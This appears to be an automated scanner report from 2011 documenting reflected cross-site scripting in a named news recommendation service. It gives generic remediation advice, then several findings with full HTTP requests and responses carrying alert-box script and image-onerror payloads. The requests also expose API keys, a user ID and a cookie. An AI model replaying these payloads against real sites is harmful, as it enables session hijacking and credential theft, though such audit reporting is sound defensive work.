Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Issue remediation
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of the callback request parameter is copied into the HTML document as plain text between tags. The payload b123b<script>alert(1)</script>d34288df7d7 was submitted in the callback parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /?output=json&service=sponsoredlink&call=getlinks&apikey=dailymedemo&userid=76DB7C80-A3AF-45F2-82C2-8381798839F3&limit=1&callback=jsonp1296072884376b123b<script>alert(1)</script>d34288df7d7 HTTP/1.1 Host: service.newstogram.com Proxy-Connection: keep-alive Referer: http://static.newstogram.com/rmv2/recommender-h.html?apiKey=5948b0469a29727f3f5b4a9bb87b93dc&user=76DB7C80-A3AF-45F2-82C2-8381798839F3&url=http%253A%252F%252Fwww.middletownpress.com%252Farticles%252F2011%252F01%252F26%252Fentertainment%252Fdoc4d3fa2e76b25f513477040.txta5a69%252522style%25253d%252522x%25253aexpression(alert(1))%2525225c0fc6a83d6&title=Recommended%20for%20You&cssUrl=http%3A%2F%2Fwww.middletownpress.com%2Fcss%2Fdailyme_styles_h8.css&width=650&height=275&links=1&limit=6&truncate=48 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __qca=P0-1105555422-1296072885434
Response
HTTP/1.1 200 OK Server: nginx/0.8.54 Date: Thu, 27 Jan 2011 01:59:00 GMT Content-Type: application/json; charset=utf8 Connection: close X-Powered-By: PHP/5.3.3 Pragma: no-cache Cache-Control: no-store, no-cache, max-age=0, must-revalidate Content-Length: 316
jsonp1296072884376b123b<script>alert(1)</script>d34288df7d7({"Newstogram":{"LastVisit":"","Links":[["Rocker Bret Michaels scheduled for surgery","http:\/\/dailyme.com\/story\/2011012400000137\/rocker-bret-michaels-scheduled-surgery.html","2011-01-24 16:57:44", ...[SNIP]...
The value of the call request parameter is copied into the HTML document as plain text between tags. The payload d84d1<img%20src%3da%20onerror%3dalert(1)>0d0a2970191 was submitted in the call parameter. This input was echoed as d84d1<img src=a onerror=alert(1)>0d0a2970191 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /index.php?output=jsonrest&service=recommender&call=getnewsforuserd84d1<img%20src%3da%20onerror%3dalert(1)>0d0a2970191&apikey=5948b0469a29727f3f5b4a9bb87b93dc&userid=76DB7C80-A3AF-45F2-82C2-8381798839F3&url=http%253A%252F%252Fwww.middletownpress.com%252Farticles%252F2011%252F01%252F26%252Fentertainment%252Fdoc4d3fa2e76b25f513477040.txta5a69%252522style%25253d%252522x%25253aexpression(alert(1))%2525225c0fc6a83d6&limit=&callback=jsonp1296072884375 HTTP/1.1 Host: service.newstogram.com Proxy-Connection: keep-alive Referer: http://static.newstogram.com/rmv2/recommender-h.html?apiKey=5948b0469a29727f3f5b4a9bb87b93dc&user=76DB7C80-A3AF-45F2-82C2-8381798839F3&url=http%253A%252F%252Fwww.middletownpress.com%252Farticles%252F2011%252F01%252F26%252Fentertainment%252Fdoc4d3fa2e76b25f513477040.txta5a69%252522style%25253d%252522x%25253aexpression(alert(1))%2525225c0fc6a83d6&title=Recommended%20for%20You&cssUrl=http%3A%2F%2Fwww.middletownpress.com%2Fcss%2Fdailyme_styles_h8.css&width=650&height=275&links=1&limit=6&truncate=48 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __qca=P0-1105555422-1296072885434
Response
HTTP/1.1 200 OK Server: nginx/0.8.54 Date: Thu, 27 Jan 2011 01:59:02 GMT Content-Type: application/json; charset=utf8 Connection: close X-Powered-By: PHP/5.3.3 Pragma: no-cache Cache-Control: no-store, no-cache, max-age=0, must-revalidate Content-Length: 155
jsonp1296072884375({"error":{"code":1004,"description":"recommender doesn't provide a getnewsforuserd84d1<img src=a onerror=alert(1)>0d0a2970191 action"}})
The value of the callback request parameter is copied into the HTML document as plain text between tags. The payload 2b73c<script>alert(1)</script>40f842b3ccc was submitted in the callback parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /index.php?output=jsonrest&service=recommender&call=getnewsforuser&apikey=5948b0469a29727f3f5b4a9bb87b93dc&userid=76DB7C80-A3AF-45F2-82C2-8381798839F3&url=http%253A%252F%252Fwww.middletownpress.com%252Farticles%252F2011%252F01%252F26%252Fentertainment%252Fdoc4d3fa2e76b25f513477040.txta5a69%252522style%25253d%252522x%25253aexpression(alert(1))%2525225c0fc6a83d6&limit=&callback=jsonp12960728843752b73c<script>alert(1)</script>40f842b3ccc HTTP/1.1 Host: service.newstogram.com Proxy-Connection: keep-alive Referer: http://static.newstogram.com/rmv2/recommender-h.html?apiKey=5948b0469a29727f3f5b4a9bb87b93dc&user=76DB7C80-A3AF-45F2-82C2-8381798839F3&url=http%253A%252F%252Fwww.middletownpress.com%252Farticles%252F2011%252F01%252F26%252Fentertainment%252Fdoc4d3fa2e76b25f513477040.txta5a69%252522style%25253d%252522x%25253aexpression(alert(1))%2525225c0fc6a83d6&title=Recommended%20for%20You&cssUrl=http%3A%2F%2Fwww.middletownpress.com%2Fcss%2Fdailyme_styles_h8.css&width=650&height=275&links=1&limit=6&truncate=48 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __qca=P0-1105555422-1296072885434
Response
HTTP/1.1 200 OK Server: nginx/0.8.54 Date: Thu, 27 Jan 2011 01:59:05 GMT Content-Type: application/json; charset=utf8 Connection: close X-Powered-By: PHP/5.3.3 Pragma: no-cache Cache-Control: no-store, no-cache, max-age=0, must-revalidate Content-Length: 1971
jsonp12960728843752b73c<script>alert(1)</script>40f842b3ccc({"Newstogram":{"MyHeadlines":{"0|Most Popular":[["Report reveals what ex-Milford superintendent Polansky wanted to keep private","http:\/\/www.nhregister.com\/articles\/2011\/01\/26\/news\/milford\/aa ...[SNIP]...
1.4. http://service.newstogram.com/index.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://service.newstogram.com
Path:
/index.php
Issue detail
The name of an arbitrarily supplied request parameter is copied into the HTML document as plain text between tags. The payload 7ea41<img%20src%3da%20onerror%3dalert(1)>706dfda1ad0 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 7ea41<img src=a onerror=alert(1)>706dfda1ad0 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /index.php?output=jsonrest&service=recommender&call=getnewsfor/7ea41<img%20src%3da%20onerror%3dalert(1)>706dfda1ad0user HTTP/1.1 Host: service.newstogram.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __qca=P0-1105555422-1296072885434;
Response
HTTP/1.1 200 OK Server: nginx/0.8.54 Date: Thu, 27 Jan 2011 03:01:10 GMT Content-Type: application/json; charset=utf8 Connection: close X-Powered-By: PHP/5.3.3 Pragma: no-cache Cache-Control: no-store, no-cache, max-age=0, must-revalidate Content-Length: 137
{"error":{"code":1004,"description":"recommender doesn't provide a getnewsfor\/7ea41<img src=a onerror=alert(1)>706dfda1ad0user action"}}
1.5. http://service.newstogram.com/index.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://service.newstogram.com
Path:
/index.php
Issue detail
The name of an arbitrarily supplied request parameter is copied into the HTML document as plain text between tags. The payload cfb6a<script>alert(1)</script>7381a37c124 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /index.php?output=jsonrest&service=recommender&call=getnewsforuser&apikey=5948b0469a29727f3f5b4a9bb87b93dc&userid=76DB7C80-A3AF-45F2-82C2-8381798839F3&url=http%253A%252F%252Fwww.middletownpress.com%252Farticles%252F2011%252F01%252F26%252Fentertainment%252Fdoc4d3fa2e76b25f513477040.txta5a69%252522style%25253d%252522x%25253aexpression(alert(1))%2525225c0fc6a83d6&limit=&callback=jsonp129607288/cfb6a<script>alert(1)</script>7381a37c1244375 HTTP/1.1 Host: service.newstogram.com Proxy-Connection: keep-alive Referer: http://static.newstogram.com/rmv2/recommender-h.html?apiKey=5948b0469a29727f3f5b4a9bb87b93dc&user=76DB7C80-A3AF-45F2-82C2-8381798839F3&url=http%253A%252F%252Fwww.middletownpress.com%252Farticles%252F2011%252F01%252F26%252Fentertainment%252Fdoc4d3fa2e76b25f513477040.txta5a69%252522style%25253d%252522x%25253aexpression(alert(1))%2525225c0fc6a83d6&title=Recommended%20for%20You&cssUrl=http%3A%2F%2Fwww.middletownpress.com%2Fcss%2Fdailyme_styles_h8.css&width=650&height=275&links=1&limit=6&truncate=48 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __qca=P0-1105555422-1296072885434
Response
HTTP/1.1 200 OK Server: nginx/0.8.54 Date: Thu, 27 Jan 2011 01:59:06 GMT Content-Type: application/json; charset=utf8 Connection: close X-Powered-By: PHP/5.3.3 Pragma: no-cache Cache-Control: no-store, no-cache, max-age=0, must-revalidate Content-Length: 1972
jsonp129607288/cfb6a<script>alert(1)</script>7381a37c1244375({"Newstogram":{"MyHeadlines":{"0|Most Popular":[["Report reveals what ex-Milford superintendent Polansky wanted to keep private","http:\/\/www.nhregister.com\/articles\/2011\/01\/26\/news\/milford ...[SNIP]...
The value of the service request parameter is copied into the HTML document as plain text between tags. The payload 5408b<img%20src%3da%20onerror%3dalert(1)>44c32db83db was submitted in the service parameter. This input was echoed as 5408b<img src=a onerror=alert(1)>44c32db83db in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /index.php?output=jsonrest&service=recommender5408b<img%20src%3da%20onerror%3dalert(1)>44c32db83db&call=getnewsforuser&apikey=5948b0469a29727f3f5b4a9bb87b93dc&userid=76DB7C80-A3AF-45F2-82C2-8381798839F3&url=http%253A%252F%252Fwww.middletownpress.com%252Farticles%252F2011%252F01%252F26%252Fentertainment%252Fdoc4d3fa2e76b25f513477040.txta5a69%252522style%25253d%252522x%25253aexpression(alert(1))%2525225c0fc6a83d6&limit=&callback=jsonp1296072884375 HTTP/1.1 Host: service.newstogram.com Proxy-Connection: keep-alive Referer: http://static.newstogram.com/rmv2/recommender-h.html?apiKey=5948b0469a29727f3f5b4a9bb87b93dc&user=76DB7C80-A3AF-45F2-82C2-8381798839F3&url=http%253A%252F%252Fwww.middletownpress.com%252Farticles%252F2011%252F01%252F26%252Fentertainment%252Fdoc4d3fa2e76b25f513477040.txta5a69%252522style%25253d%252522x%25253aexpression(alert(1))%2525225c0fc6a83d6&title=Recommended%20for%20You&cssUrl=http%3A%2F%2Fwww.middletownpress.com%2Fcss%2Fdailyme_styles_h8.css&width=650&height=275&links=1&limit=6&truncate=48 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __qca=P0-1105555422-1296072885434
Response
HTTP/1.1 200 OK Server: nginx/0.8.54 Date: Thu, 27 Jan 2011 01:59:00 GMT Content-Type: application/json; charset=utf8 Connection: close X-Powered-By: PHP/5.3.3 Pragma: no-cache Cache-Control: no-store, no-cache, max-age=0, must-revalidate Content-Length: 138